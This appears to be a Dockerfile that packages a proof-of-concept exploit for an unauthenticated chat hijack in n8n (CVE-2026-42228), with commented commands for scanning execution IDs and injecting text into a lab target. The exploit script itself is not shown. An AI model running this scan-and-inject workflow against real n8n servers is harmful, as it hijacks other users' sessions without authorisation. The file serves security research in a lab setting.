# ────────────────────────────────────────────────────────────────────────────── # CVE-2026-42228 / GHSA-f77h-j2v7-g6mw — n8n Unauthenticated Chat Hijack PoC # ────────────────────────────────────────────────────────────────────────────── # Preferred: use docker-compose.yml to spin up the full lab in one command. # # Standalone build & run: # docker build -t n8n-chat-hijack-poc . # # # Scan a range # docker run --rm --network ghsa-f77h-j2v7-g6mw_lab \ # n8n-chat-hijack-poc \ # --target http://n8n-vuln:5678 \ # --start-id 1 --end-id 200 # # # Attack a known execution ID # docker run --rm --network ghsa-f77h-j2v7-g6mw_lab \ # n8n-chat-hijack-poc \ # --target http://n8n-vuln:5678 \ # --exec-id 42 --inject "PWNED" # ────────────────────────────────────────────────────────────────────────────── FROM python:3.12-slim LABEL org.opencontainers.image.title="n8n Chat Hijack PoC" \ org.opencontainers.image.description="CVE-2026-42228 / GHSA-f77h-j2v7-g6mw — for authorised security research only" \ org.opencontainers.image.version="1.0.0" RUN pip install --no-cache-dir websocket-client==1.8.0 WORKDIR /poc COPY poc_GHSA-f77h-j2v7-g6mw.py poc.py ENTRYPOINT ["python3", "poc.py"]